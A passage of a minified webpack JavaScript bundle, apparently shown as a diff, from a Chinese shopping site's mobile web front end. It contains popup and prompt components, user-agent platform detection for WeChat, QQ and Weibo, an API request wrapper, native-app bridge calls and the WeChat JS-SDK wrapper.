(h.a.saveToLocalStorage(J.LocalStorageKey.DelayLoadTimestamp, Math.floor(t + 1e3 * e).toString()), + this.showDelayLoad(e), !0) + }, + showDelayLoad: function(e) { + E.load({ + seconds: e + }) + }, + showJSAlert: function(e, t, r, a, i, o) { + var s = n(""VdQI""); + setTimeout(function() { + s.load({ + type: e, + confirmCallback: t, + cancelCallback: r, + hideCallback: a, + options: i || {}, + isUnique: o + }) + }, 0) + }, + showJSPrompt: function(e, t, r, a, i, o) { + n(""6qKh"").load({ + type: e, + confirmCallback: t, + cancelCallback: r, + hideCallback: a, + options: i || {}, + isUnique: o + }) + } + }; + ""undefined"" != typeof window && n(""HT1o""); + var Z = function(e) { + function t(e) { + var n; + return N()(this, t), (n = P()(this, M()(t).call(this, e))).close = n.close.bind(U()(n)), + n + } + return B()(t, e), + O()(t, [{ + key: ""close"", + value: function() { + this.props.doClickClose && this.props.close && this.props.close() + } + }, { + key: ""render"", + value: function() { + return i.a.createElement(""div"", { + className: ""modal-popup-backdrop"", + onClick: this.close + }) + } + }]), + t + }(i.a.Component), + X = {}; + X = { + disableScroll: r.default.disableScroll, + enableScroll: r.default.enableScroll, + disableScrollNew: r.default.disableScrollNew, + enableScrollNew: r.default.enableScrollNew, + onWindowResize: r.default.onWindowResize, + delayLoad: Y.delayLoad.bind(Y), + showToast: Y.showToast, + showAlert: Y.showAlert, + showAlert2: Y.showAlert2, + showAlertPopup: Y.showAlertPopup, + showConfirm: Y.showConfirm, + showConfirm2: Y.showConfirm2.bind(Y), + showConfirmPopup: Y.showConfirmPopup, + showJSAlert: Y.showJSAlert, + showJSPrompt: Y.showJSPrompt, + renderPopup: z, + toast: d, + ModalPopup: Q, + ModalPopupBackdrop: Z + }; + t.default = X + }, + IsSU: function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, ""#prompt-default {\n position: fixed;\n width: 87.2%;\n height: 2.23rem;\n z-index: 2;\n top: 30%;\n left: 0;\n right: 0;\n margin: auto;\n display: -webkit-box;\n display: -webkit-flex;\n display: flex;\n -webkit-box-align: center;\n -webkit-align-items: center;\n align-items: center;\n}\n\n#prompt-default .close-button {\n position: absolute;\n top: -.03rem;\n right: -.145rem;\n width: .29rem;\n height: .29rem;\n z-index: 1;\n}\n\n#prompt-default .content-wrapper {\n position: relative;\n display: block;\n height: auto;\n max-height: 100vh;\n max-width: 768px;\n padding-bottom: .16rem;\n background: #fff;\n border-radius: .08rem;\n overflow-y: hidden;\n text-align: center;\n}\n\n#prompt-default .content-wrapper .detail {\n padding: .24rem .14rem .27rem;\n max-height: 3.75rem;\n word-wrap: break-word;\n word-break: normal;\n cursor: default;\n -webkit-user-select: none;\n user-select: none;\n}\n\n#prompt-default .content-wrapper .detail .title {\n font-size: .15rem;\n line-height: 1.4;\n width: 2.7rem;\n display: inline-block;\n text-align: center;\n color: #151516;\n margin-bottom: .18rem;\n}\n\n#prompt-default .content-wrapper .detail input {\n width: 2.99rem;\n height: .53rem;\n color: #151516;\n border-radius: 5px;\n border: 1px solid #e0e0e0;\n padding: 0 .1rem;\n font-size: .23rem;\n -webkit-appearance: none;\n}\n\n#prompt-default .content-wrapper .detail ::-webkit-input-placeholder {\n color: #ccc;\n font-size: .19rem;\n}\n\n#prompt-default .content-wrapper .detail ::-moz-placeholder {\n color: #ccc;\n font-size: .19rem;\n}\n\n#prompt-default .content-wrapper .detail :-ms-input-placeholder {\n color: #ccc;\n font-size: .19rem;\n}\n\n#prompt-default .content-wrapper .detail input:-moz-placeholder {\n color: #ccc;\n font-size: .19rem;\n}\n\n#prompt-default .content-wrapper .buttons {\n width: 100%;\n overflow: hidden;\n display: -webkit-box;\n display: -webkit-flex;\n display: flex;\n -webkit-box-pack: center;\n -webkit-justify-content: center;\n justify-content: center;\n -webkit-box-align: center;\n -webkit-align-items: center;\n align-items: center;\n}\n\n#prompt-default .content-wrapper .buttons .button {\n width: 2.69rem;\n margin: auto;\n height: .43rem;\n line-height: .43rem;\n background: #e02e24;\n border-radius: 5px;\n color: #ffffff;\n font-size: .16rem;\n}\n\n.app-bg-fill {\n background-color: rgba(0, 0, 0, 0.8);\n}\n\n.f-pf {\n position: fixed;\n}\n\n.f-btm0 {\n bottom: 0;\n}"", """"]) + }, + JH3l: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""q1tI""), + f = n.n(h), + m = function(e) { + function t(e) { + return a()(this, t), + c()(this, l()(t).call(this, e)) + } + return d()(t, e), + o()(t, [{ + key: ""render"", + value: function() { + var e, t = this, + n = 0 !== Object.keys(t.props.opts).length ? t.props.opts : t.props; + n.title && (e = f.a.createElement(""p"", { + className: ""title"" + }, n.title)); + var r = []; + n.desc && n.desc.forEach(function(e, t) { + r.push(f.a.createElement(""p"", { + className: ""desc"", + key: t + }, e)) + }); + var a = f.a.createElement(""div"", null); + return ""none"" !== this.state.display && (a = f.a.createElement(""div"", { + style: { + display: this.state.display + }, + className: ""bg-fill app-bg-fill"" + }, f.a.createElement(""div"", { + id: ""confirm-default-v3"" + }, f.a.createElement(""div"", { + className: ""content-wrapper"" + }, f.a.createElement(""div"", { + className: ""detail"", + id: ""confirm-default-v3-detail"" + }, e, r), f.a.createElement(""div"", { + className: ""buttons buttons-confirm"" + }, f.a.createElement(""div"", { + className: ""button"", + onClick: function(e) { + t.clickCancel(e) + } + }, n.cancel), f.a.createElement(""div"", { + className: ""button"", + onClick: function(e) { + t.clickConfirm(e) + } + }, n.confirm)))))), + a + } + }]), + t + }(n(""+zrp"").a); + m.defaultProps = { + desc: [""您未关注拼多多公众号,无法更新资料哦~""], + confirm: ""我知道了"", + cancel: ""取消"" + }, + t.default = m + }, + K4Ed: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""PJYZ""), + d = n.n(p), + h = n(""7W2i""), + f = n.n(h), + m = n(""q1tI""), + g = n.n(m), + v = n(""b5fu""), + _ = function(e) { + function t(e) { + var n; + return a()(this, t), (n = c()(this, l()(t).call(this, e))).state = { + display: """", + inputValue: """" + }, + n.show = n.show.bind(d()(n)), + n.close = n.close.bind(d()(n)), + n.confirm = n.confirm.bind(d()(n)), + n.handleChange = n.handleChange.bind(d()(n)), + n + } + return f()(t, e), + o()(t, [{ + key: ""confirm"", + value: function(e) { + e && (e.stopPropagation(), + e.preventDefault()), + this.ui.enableScroll(); + var t = this.props.opts && this.props.opts.validator || null, + n = this.state.inputValue.replace(/\s+/g, """"); + t && t(n) && (this.close(), + v.a.call(this.props.confirmCallback, n)) + } + }, { + key: ""departMobile"", + value: function(e) { + var t = e; + return (t = t.split("""")).length > 3 && "" "" !== t[3] && t.splice(3, 0, "" ""), + t.length > 8 && "" "" !== t[8] && t.splice(8, 0, "" ""), + t.join("""") + } + }, { + key: ""close"", + value: function(e) { + e && (e.stopPropagation(), + e.preventDefault()), + this.setState({ + display: ""none"" + }), + this.ui.enableScroll(), + v.a.call(this.props.hideCallback) + } + }, { + key: ""componentDidMount"", + value: function() { + this.ui = n(""IgcI""), + this.ui.disableScroll() + } + }, { + key: ""render"", + value: function() { + return null + } + }, { + key: ""handleChange"", + value: function(e) { + this.setState({ + inputValue: this.departMobile(e.target.value) + }) + } + }, { + key: ""show"", + value: function() { + this.setState({ + display: """" + }), + this.ui.disableScroll() + } + }]), + t + }(g.a.Component), + b = n(""u16y""), + y = n(""xnWZ""), + w = function(e) { + function t(e) { + var n; + return a()(this, t), (n = c()(this, l()(t).call(this, e))).handleFocus = n.handleFocus.bind(d()(n)), + n.handleBlur = n.handleBlur.bind(d()(n)), + n + } + return f()(t, e), + o()(t, [{ + key: ""render"", + value: function() { + var e = this.props, + t = e.opts, + n = t.title ? g.a.createElement(""p"", { + className: ""title"" + }, t.title) : """", + r = null; + return ""none"" !== this.state.display && (r = g.a.createElement(""div"", { + style: { + display: this.state.display + }, + className: ""bg-fill app-bg-fill"" + }, g.a.createElement(""div"", { + id: ""prompt-default"" + }, g.a.createElement(""div"", { + className: ""close-button"", + onClick: this.close + }, g.a.createElement(""img"", { + src: e.closeButton + })), g.a.createElement(""div"", { + className: ""content-wrapper"" + }, g.a.createElement(""div"", { + className: ""detail"", + id: ""prompt-default-detail"" + }, n, g.a.createElement(""input"", { + type: ""tel"", + maxLength: ""13"", + placeholder: t.placeholder, + value: this.state.inputValue, + onChange: this.handleChange, + onFocus: this.handleFocus, + onBlur: this.handleBlur + })), g.a.createElement(""div"", { + className: ""buttons buttons-confirm"" + }, g.a.createElement(""div"", { + className: ""button"", + onClick: this.confirm + }, e.confirm)))))), + r + } + }, { + key: ""handleFocus"", + value: function() { + document.body.classList.add(""f-pf""), + y.b.IOSSystemVersion && v.a.compareVersion(y.b.IOSSystemVersion, ""10.0.2"") <= 0 && document.getElementById(""prompt-default"").classList.add(""f-btm0"") + } + }, { + key: ""handleBlur"", + value: function() { + document.body.classList.remove(""f-pf""), + y.b.IOSSystemVersion && v.a.compareVersion(y.b.IOSSystemVersion, ""10.0.2"") <= 0 && document.getElementById(""prompt-default"").classList.remove(""f-btm0""), + y.b.IOSSystemVersion && this.confirm() + } + }]), + t + }(_); + w.defaultProps = { + confirm: ""确认"", + closeButton: b.a.getCDNImgURL(""jsalert/alert_app_download_close_v2.png"") + }; + t.default = w + }, + KbSy: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""iCc5""), + a = n.n(r), + i = n(""V7oC""), + o = n.n(i), + s = n(""tWR7""), + c = n(""b5fu""), + u = n(""ouH+""), + l = function() { + function e() { + a()(this, e) + } + return e.prototype.fetchAccessToken = function() { + return Promise.resolve(u.a.getAccessToken()) + }, + e.prototype.tryFetchAccessToken = function() { + return Promise.resolve(u.a.getAccessToken()) + }, + e.prototype.setCookie = function(e, t, n) { + var r; + c.a.setCookie(((r = {})[e] = { + value: t, + msec: n + }, + r)) + }, + o()(e, [{ + key: ""pathname"", + get: function() { + return location.pathname + } + }, { + key: ""queries"", + get: function() { + return s.a.pageParseQuery() + } + }, { + key: ""userAgent"", + get: function() { + return navigator.userAgent + } + }, { + key: ""hostname"", + get: function() { + return location.hostname + } + }, { + key: ""cookies"", + get: function() { + var e = c.a.getCookies(); + for (var t in e) + e[t] instanceof Array && (e[t] = e[t][0]); + return e + } + }]), + e + }(); + t.default = l + }, + KoDT: function(e, t, n) { + ""use strict""; + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""h3qu""), + f = n(""1/kQ""), + m = /micromessenger\/([^\s]+)\s*/i, + g = { + WeChatAndroid: ""wechat_android"", + WeChatIOS: ""wechat_ios"", + WeChatUnknown: ""wechat_unknown"" + }; + var v = function(e) { + function t() { + return a()(this, t), + c()(this, l()(t).apply(this, arguments)) + } + return d()(t, e), + o()(t, [{ + key: ""wechatVersion"", + get: function() { + return Object(h.d)(this.cache, ""wechatVersion"", function() { + var e = (arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """").match(m); + return e && e[1] || """" + }(this.ua)) + } + }, { + key: ""wechatPlatform"", + get: function() { + return Object(h.d)(this.cache, ""wechatPlatform"", function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """"; + return -1 !== (e = e.toUpperCase()).indexOf(""ANDROID"") ? g.WeChatAndroid : -1 !== e.indexOf(""IPHONE"") || -1 !== e.indexOf(""IPAD"") || -1 !== e.indexOf(""ITOUCH"") ? g.WeChatIOS : g.WeChatUnknown + }(this.ua)) + } + }, { + key: ""isSupportHistoryAPI"", + get: function() { + return Object(h.d)(this.cache, ""isSupportHistoryAPI"", Object(h.c)(this.wechatVersion, ""6.5.1"") > 0) + } + }, { + key: ""isPureWeChatPlatform"", + get: function() { + return this.platform === h.a.WeChat + } + }, { + key: ""isWeChatMiniProgram"", + get: function() { + return this.platform === h.a.WxApp + } + }, { + key: ""isWeChatPlatform"", + get: function() { + return this.platform === h.a.WeChat || this.platform === h.a.WxApp + } + }, { + key: ""isAndroidWeChatPlatform"", + get: function() { + return this.isWeChatPlatform && this.wechatPlatform === g.WeChatAndroid + } + }, { + key: ""isIOSWeChatPlatform"", + get: function() { + return this.isWeChatPlatform && this.wechatPlatform === g.WeChatIOS + } + }, { + key: ""isEmbeddedBrowser"", + get: function() { + return this.isWeChatPlatform + } + }, { + key: ""isWeChatPayAvailable"", + get: function() { + return this.isWeChatPlatform + } + }, { + key: ""isSupportWechatFloatingWindow"", + get: function() { + return Object(h.d)(this.cache, ""isSupportWechatFloatingWindow"", Object(h.c)(this.wechatVersion, ""6.6.7"") > 0) + } + }, { + key: ""isShowSMAlertPlatform"", + get: function() { + var e = this; + return Object(h.d)(this.cache, ""isShowSMAlertPlatform"", !!e.isIOSWeChatPlatform || !!(e.isAndroidWeChatPlatform && Object(h.c)(e.wechatVersion, ""6.5.6"") >= 0)) + } + }]), + t + }(f.a), + _ = n(""3INx""), + b = function(e) { + function t() { + return a()(this, t), + c()(this, l()(t).apply(this, arguments)) + } + return d()(t, e), + o()(t, [{ + key: ""isQQPlatform"", + get: function() { + return this.platform === h.a.QQ || this.platform === h.a.QQApp + } + }, { + key: ""isPureQQPlatform"", + get: function() { + return this.platform === h.a.QQ + } + }, { + key: ""isQQMiniProgram"", + get: function() { + return this.platform === h.a.QQApp + } + }, { + key: ""isEmbeddedBrowser"", + get: function() { + return this.isQQPlatform + } + }, { + key: ""isQQPayAvailable"", + get: function() { + return this.isQQPlatform + } + }, { + key: ""isWeChatPayAvailable"", + get: function() { + return this.isQQPlatform + } + }]), + t + }(f.a), + y = function(e) { + function t() { + return a()(this, t), + c()(this, l()(t).apply(this, arguments)) + } + return d()(t, e), + o()(t, [{ + key: ""isWeiboPlatform"", + get: function() { + return this.platform === h.a.Weibo + } + }, { + key: ""isEmbeddedBrowser"", + get: function() { + return this.isWeiboPlatform + } + }, { + key: ""isAliPayAvailable"", + get: function() { + return !0 + } + }]), + t + }(f.a), + w = function(e) { + function t() { + return a()(this, t), + c()(this, l()(t).apply(this, arguments)) + } + return d()(t, e), + o()(t, [{ + key: ""isWeChatPayAvailable"", + get: function() { + return Object(h.d)(this.cache, ""isWeChatPayAvailable"", Object(h.j)(this.ua)) + } + }, { + key: ""isAliPayAvailable"", + get: function() { + return !0 + } + }]), + t + }(f.a), + S = function(e) { + function t() { + return a()(this, t), + c()(this, l()(t).apply(this, arguments)) + } + return d()(t, e), + o()(t, [{ + key: ""isMajiabaoNativePlatform"", + get: function() { + return this.platform === h.a.MaJiaBaoAndroid + } + }]), + t + }(w), + C = function(e) { + function t() { + return a()(this, t), + c()(this, l()(t).apply(this, arguments)) + } + return d()(t, e), + o()(t, [{ + key: ""isTinyNativePlatform"", + get: function() { + return this.platform === h.a.PDDTinyAndorid + } + }, { + key: ""version"", + get: function() { + return Object(h.d)(this.cache, ""version"", Object(h.e)(this.ua, h.a.PddAndroid)) + } + }]), + t + }(w); + n.d(t, ""b"", function() { + return k + }), + n.d(t, ""a"", function() { + return E + }); + var A = [], + I = new Map; + + function k() { + var e, t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """"; + if (I.has(t)) + return I.get(t); + switch (Object(h.f)(t)) { + case h.a.PddAndroid: + case h.a.PddIOS: + e = new _.b(t); + break; + case h.a.QQ: + case h.a.QQApp: + e = new b(t); + break; + case h.a.Weibo: + e = new y(t); + break; + case h.a.WxApp: + case h.a.WeChat: + e = new v(t); + break; + case h.a.MaJiaBaoAndroid: + e = new S(t); + break; + case h.a.PDDTinyAndorid: + e = new C(t); + break; + default: + e = new w(t) + } + return function(e, t) { + if (A.push(e), + I.set(e, t), + A.length > 10) { + var n = A.shift(); + I.delete(n) + } + }(t, e), + e + } + + function E() { + return k(window.navigator.userAgent) + } + }, + KshE: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""iCc5""), + a = n.n(r), + i = n(""FYw3""), + o = n.n(i), + s = n(""mRg0""), + c = n.n(s), + u = n(""3OdE""), + l = function() { + function e(t) { + a()(this, e) + } + return e.prototype.get = function() { + return this.requestData(""GET"") + }, + e.prototype.post = function() { + return this.requestData(""POST"") + }, + e.prototype.requestData = function() { + this.dealPath(), + this.dealParams(), + this.dealCookies(), + this.dealHeaders() + }, + e.prototype.process = function(e) { + return e + }, + e.prototype.dealPath = function() {}, + e.prototype.dealHeaders = function() {}, + e.prototype.dealParams = function() {}, + e.prototype.dealCookies = function() {}, + e + }(), + p = n(""Ec79""), + d = n.n(p), + h = n(""/O6k""), + f = h.a.apiRequest.bind(h.a), + m = function(e) { + function t(n) { + a()(this, t); + var r = o()(this, e.call(this, n)); + return r.params = n.params || {}, + r.noAuthentication = n.noAuthentication || !1, + r.useNewAPI = n.useNewAPI || !1, + r.skipDefaultErrorHandling = n.skipDefaultErrorHandling || !1, + r.retryDisabled = n.retryDisabled || !1, + r.staticDisabled = n.staticDisabled || !1, + r.host = window.location.hostname, + r + } + return c()(t, e), + t.prototype.requestData = function(e) { + this.dealPath(), + this.dealParams(); + var t = this; + if (""GET"" === e) { + var n = []; + for (var r in t.params) + t.params.hasOwnProperty(r) && n.push([r, t.params[r]].join(""="")); + n.length && (t.path.indexOf(""?"") > -1 ? t.path = [t.path, n.join(""&"")].join(""&"") : t.path = [t.path, n.join(""&"")].join(""?"")), + t.params = null + } + return new d.a(function(n, r) { + f(e, t.path, t.params, function(e) { + var r = t.process(e); + n(r) + }, function(e, t) { + r({ + errorCode: e, + data: t + }) + }, t.noAuthentication, t.useNewAPI, t.skipDefaultErrorHandling, t.retryDisabled, t.staticDisabled) + }) + }, + t.prototype.dealPath = function() { + e.prototype.dealPath.call(this); + var t = u.a.get(location.hostname); + this.apiHost = t.apiDomain, + this.path = t.api[this.name] + }, + t + }(l); + t.default = m + }, + MpJ2: function(e, t, n) { + ""use strict""; + n.d(t, ""c"", function() { + return p + }), + n.d(t, ""e"", function() { + return d + }), + n.d(t, ""d"", function() { + return h + }), + n.d(t, ""a"", function() { + return f + }), + n.d(t, ""b"", function() { + return m + }); + var r, a, i, o, s = n(""KoDT""), + c = n(""h3qu""), + u = n(""kk8N""); + r = Object(s.b)(window.navigator.userAgent), + a = r.version, + i = c.a.PddIOS === r.platform, + o = c.a.PddAndroid === r.platform || c.a.PDDTinyAndorid === r.platform; + var l = { + env: ""请检查当前环境,该接口需要在原生App环境中使用。"" + }; + + function p(e, t) { + var n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : null, + r = arguments.length > 3 ? arguments[3] : void 0, + s = arguments.length > 4 ? arguments[4] : void 0; + if (i || o) { + var p = o && r ? r : i && s ? s : """"; + if (p && Object(c.c)(a, p) < 0) { + var d = ""请检查App版本号,该接口最小支持版本号:"".concat(p, ""。""); + return console.warn(d), + Promise.reject(new Error(d)) + } + return new Promise(function(r, a) { + u.a.callNative(e, t, n, r, function(r, i) { + var o = new Error(""callNative "".concat(e, "" "").concat(t, "" error: "").concat(i)); + o.errorCode = i, + o.params = n, + o.data = r, + o.toJSON = function() { + return { + errorCode: this.errorCode, + params: this.params, + data: this.data + } + }, + a(o) + }) + }) + } + return console.warn(l.env), + Promise.reject(new Error(l.env)) + } + + function d(e) { + return p(""JSUIControl"", ""setTitle"", e) + } + + function h(e) { + return p(""JSUIControl"", ""setRichTitle"", e) + } + + function f() { + return p(""AMNavigator"", ""referPageContext"") + } + + function m() { + return p(""AMUser"", ""info"") + } + }, + Pn5d: function(e, t, n) { + ""use strict""; + var r = ""undefined"" != typeof window, + a = { + IOS_DEVICE_WEBVIEW_TYPES: { + SAFARI: ""SAFARI"", + UIWEBVIEW_LIKE_SAFARI: ""UIWEBVIEW_LIKE_SAFARI"", + WKWEBVIEW_LIKE_SAFARI: ""WKWEBVIEW_LIKE_SAFARI"", + UIWEBVIEW: ""UIWEBVIEW"", + WKWEBVIEW: ""WKWEBVIEW"" + }, + getIOSDeviceWebviewType: function() { + if (!r) + return !1; + if (""iP"" === navigator.platform.substr(0, 2)) { + var e = /constructor/i.test(window.HTMLElement), + t = window.navigator, + n = t.userAgent, + a = !!window.indexedDB; + if (-1 !== n.indexOf(""Safari"") && -1 !== n.indexOf(""Version"") && !t.standalone) + return !a && e || !window.statusbar.visible ? this.IOS_DEVICE_WEBVIEW_TYPES.UIWEBVIEW_LIKE_SAFARI : window.webkit && window.webkit.messageHandlers || !e || a ? this.IOS_DEVICE_WEBVIEW_TYPES.WKWEBVIEW_LIKE_SAFARI : this.IOS_DEVICE_WEBVIEW_TYPES.SAFARI; + if (!a && e || !window.statusbar.visible) + return this.IOS_DEVICE_WEBVIEW_TYPES.UIWEBVIEW; + if (window.webkit && window.webkit.messageHandlers || !e || a) + return this.IOS_DEVICE_WEBVIEW_TYPES.WKWEBVIEW + } + return !1 + } + }; + a.doHackOfIOSWkWebViewPositionFixedFailureByKeyboard = function() { + var e = a.getIOSDeviceWebviewType(); + return e === a.IOS_DEVICE_WEBVIEW_TYPES.WKWEBVIEW || e === a.IOS_DEVICE_WEBVIEW_TYPES.WKWEBVIEW_LIKE_SAFARI + }(), + a.isWKWebView = r && (window.__wxjs_is_wkwebview || function() { + var e = a.getIOSDeviceWebviewType(); + return e === a.IOS_DEVICE_WEBVIEW_TYPES.WKWEBVIEW || e === a.IOS_DEVICE_WEBVIEW_TYPES.WKWEBVIEW_LIKE_SAFARI + }()), + t.a = a + }, + R8Tx: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lSNA""), + a = n.n(r); + ! function(e, t) { + ""function"" == typeof define && n(""PDX0"") ? define(function() { + return t(e) + }) : t(e, !0) + }(window, function(e, t) { + function n(t, n, r) { + e.WeixinJSBridge ? WeixinJSBridge.invoke(t, i(n), function(e) { + s(t, e, r) + }) : u(t, r) + } + + function r(t, n, r) { + e.WeixinJSBridge ? WeixinJSBridge.on(t, function(e) { + r && r.trigger && r.trigger(e), + s(t, e, n) + }) : u(t, r || n) + } + + function i(e) { + return (e = e || {}).appId = T.appId, + e.verifyAppId = T.appId, + e.verifySignType = ""sha1"", + e.verifyTimestamp = T.timestamp + """", + e.verifyNonceStr = T.nonceStr, + e.verifySignature = T.signature, + e + } + + function o(e) { + return { + timeStamp: e.timestamp + """", + nonceStr: e.nonceStr, + package: e.package, + paySign: e.paySign, + signType: e.signType || ""SHA1"" + } + } + + function s(e, t, n) { + ""openEnterpriseChat"" == e && (t.errCode = t.err_code), + delete t.err_code, + delete t.err_desc, + delete t.err_detail; + var r = t.errMsg; + r || (r = t.err_msg, + delete t.err_msg, + r = function(e, t) { + var n = e, + r = m[n]; + r && (n = r); + var a = ""ok""; + if (t) { + var i = t.indexOf("":""); + ""confirm"" == (a = t.substring(i + 1)) && (a = ""ok""), + ""failed"" == a && (a = ""fail""), -1 != a.indexOf(""failed_"") && (a = a.substring(7)), -1 != a.indexOf(""fail_"") && (a = a.substring(5)), + ""access denied"" != (a = (a = a.replace(/_/g, "" "")).toLowerCase()) && ""no permission to execute"" != a || (a = ""permission denied""), + ""config"" == n && ""function not exist"" == a && (a = ""ok""), + """" == a && (a = ""fail"") + } + return t = n + "":"" + a + }(e, r), + t.errMsg = r), (n = n || {})._complete && (n._complete(t), + delete n._complete), + r = t.errMsg || """", + T.debug && !n.isInnerInvoke && alert(JSON.stringify(t)); + var a = r.indexOf("":""); + switch (r.substring(a + 1)) { + case ""ok"": + n.success && n.success(t); + break; + case ""cancel"": + n.cancel && n.cancel(t); + break; + default: + n.fail && n.fail(t) + } + n.complete && n.complete(t) + } + + function c(e) { + if (e) { + for (var t = 0, n = e.length; t < n; ++t) { + var r = e[t], + a = f[r]; + a && (e[t] = a) + } + return e + } + } + + function u(e, t) { + if (!(!T.debug || t && t.isInnerInvoke)) { + var n = m[e]; + n && (e = n), + t && t._complete && delete t._complete, + console.log('""' + e + '"",', t || """") + } + } + + function l() { + return (new Date).getTime() + } + + function p(t) { + S && (e.WeixinJSBridge ? t() : g.addEventListener && g.addEventListener(""WeixinJSBridgeReady"", t, !1) && g.addEventListener(""QQJSBridgeReady"", t, !1)) + } + + function d() { + P.invoke || (P.invoke = function(t, n, r) { + e.WeixinJSBridge && WeixinJSBridge.invoke(t, i(n), r) + }, + P.on = function(t, n) { + e.WeixinJSBridge && WeixinJSBridge.on(t, n) + } + ) + } + if (!e.jWeixin) { + var h, f = { + config: ""preVerifyJSAPI"", + onMenuShareTimeline: ""menu:share:timeline"", + onMenuShareAppMessage: ""menu:share:appmessage"", + onMenuShareQQ: ""menu:share:qq"", + onMenuShareWeibo: ""menu:share:weiboApp"", + onMenuShareQZone: ""menu:share:QZone"", + previewImage: ""imagePreview"", + getLocation: ""geoLocation"", + openProductSpecificView: ""openProductViewWithPid"", + addCard: ""batchAddCard"", + openCard: ""batchViewCard"", + chooseWXPay: ""getBrandWCPayRequest"", + openEnterpriseRedPacket: ""getRecevieBizHongBaoRequest"", + startSearchBeacons: ""startMonitoringBeacons"", + stopSearchBeacons: ""stopMonitoringBeacons"", + onSearchBeacons: ""onBeaconsInRange"", + consumeAndShareCard: ""consumedShareCard"", + openAddress: ""editAddress"" + }, + m = function() { + var e = {}; + for (var t in f) + e[f[t]] = t; + return e + }(), + g = e.document, + v = g.title, + _ = navigator.userAgent.toLowerCase(), + b = navigator.platform.toLowerCase(), + y = !(!b.match(""mac"") && !b.match(""win"")), + w = -1 != _.indexOf(""wxdebugger""), + S = !0, + C = -1 != _.indexOf(""android""), + A = -1 != _.indexOf(""iphone"") || -1 != _.indexOf(""ipad""), + I = function() { + var e = _.match(/micromessenger\/(\d+\.\d+\.\d+)/) || _.match(/micromessenger\/(\d+\.\d+)/); + return e ? e[1] : """" + }(), + k = { + initStartTime: l(), + initEndTime: 0, + preVerifyStartTime: 0, + preVerifyEndTime: 0 + }, + E = { + version: 1, + appId: """", + initTime: 0, + preVerifyTime: 0, + networkType: """", + isPreVerifyOk: 1, + systemType: A ? 1 : C ? 2 : -1, + clientVersion: I, + url: encodeURIComponent(location.href) + }, + T = {}, + N = { + _completes: [] + }, + x = { + state: 0, + data: {} + }; + p(function() { + k.initEndTime = l() + }); + var O = !1, + D = [], + P = (h = { + config: function(e) { + T = e, + u(""config"", e); + var t = !1 !== T.check; + p(function() { + if (t) + n(f.config, { + verifyJsApiList: c(T.jsApiList) + }, function() { + N._complete = function(e) { + k.preVerifyEndTime = l(), + x.state = 1, + x.data = e + }, + N.success = function(e) { + E.isPreVerifyOk = 0 + }, + N.fail = function(e) { + N._fail ? N._fail(e) : x.state = -1 + }; + var e = N._completes; + return e.push(function() { + ! function(e) { + if (!(y || w || T.debug || I < ""6.0.2"" || E.systemType < 0)) { + var t = new Image; + E.appId = T.appId, + E.initTime = k.initEndTime - k.initStartTime, + E.preVerifyTime = k.preVerifyEndTime - k.preVerifyStartTime, + P.getNetworkType({ + isInnerInvoke: !0, + success: function(e) { + E.networkType = e.networkType; + var n = ""https://open.weixin.qq.com/sdk/report?v="" + E.version + ""&o="" + E.isPreVerifyOk + ""&s="" + E.systemType + ""&c="" + E.clientVersion + ""&a="" + E.appId + ""&n="" + E.networkType + ""&i="" + E.initTime + ""&p="" + E.preVerifyTime + ""&u="" + E.url; + t.src = n + } + }) + } + }() + }), + N.complete = function(t) { + for (var n = 0, r = e.length; n < r; ++n) + e[n](); + N._completes = [] + }, + N + }()), + k.preVerifyStartTime = l(); + else { + x.state = 1; + for (var e = N._completes, r = 0, a = e.length; r < a; ++r) + e[r](); + N._completes = [] + } + }), + d() + }, + ready: function(e) { + 0 != x.state ? e() : (N._completes.push(e), !S && T.debug && e()) + }, + error: function(e) { + I < ""6.0.2"" || (-1 == x.state ? e(x.data) : N._fail = e) + }, + checkJsApi: function(e) { + n(""checkJsApi"", { + jsApiList: c(e.jsApiList) + }, (e._complete = function(e) { + if (C) { + var t = e.checkResult; + t && (e.checkResult = JSON.parse(t)) + } + e = function(e) { + var t = e.checkResult; + for (var n in t) { + var r = m[n]; + r && (t[r] = t[n], + delete t[n]) + } + return e + }(e) + }, + e)) + }, + onMenuShareTimeline: function(e) { + r(f.onMenuShareTimeline, { + complete: function() { + n(""shareTimeline"", { + title: e.title || v, + desc: e.title || v, + img_url: e.imgUrl || """", + link: e.link || location.href, + type: e.type || ""link"", + data_url: e.dataUrl || """" + }, e) + } + }, e) + }, + onMenuShareAppMessage: function(e) { + r(f.onMenuShareAppMessage, { + complete: function(t) { + ""favorite"" === t.scene ? n(""sendAppMessage"", { + title: e.title || v, + desc: e.desc || """", + link: e.link || location.href, + img_url: e.imgUrl || """", + type: e.type || ""link"", + data_url: e.dataUrl || """" + }) : n(""sendAppMessage"", { + title: e.title || v, + desc: e.desc || """", + link: e.link || location.href, + img_url: e.imgUrl || """", + type: e.type || ""link"", + data_url: e.dataUrl || """" + }, e) + } + }, e) + }, + onMenuShareQQ: function(e) { + r(f.onMenuShareQQ, { + complete: function() { + n(""shareQQ"", { + title: e.title || v, + desc: e.desc || """", + img_url: e.imgUrl || """", + link: e.link || location.href + }, e) + } + }, e) + }, + onMenuShareWeibo: function(e) { + r(f.onMenuShareWeibo, { + complete: function() { + n(""shareWeiboApp"", { + title: e.title || v, + desc: e.desc || """", + img_url: e.imgUrl || """", + link: e.link || location.href + }, e) + } + }, e) + }, + onMenuShareQZone: function(e) { + r(f.onMenuShareQZone, { + complete: function() { + n(""shareQZone"", { + title: e.title || v, + desc: 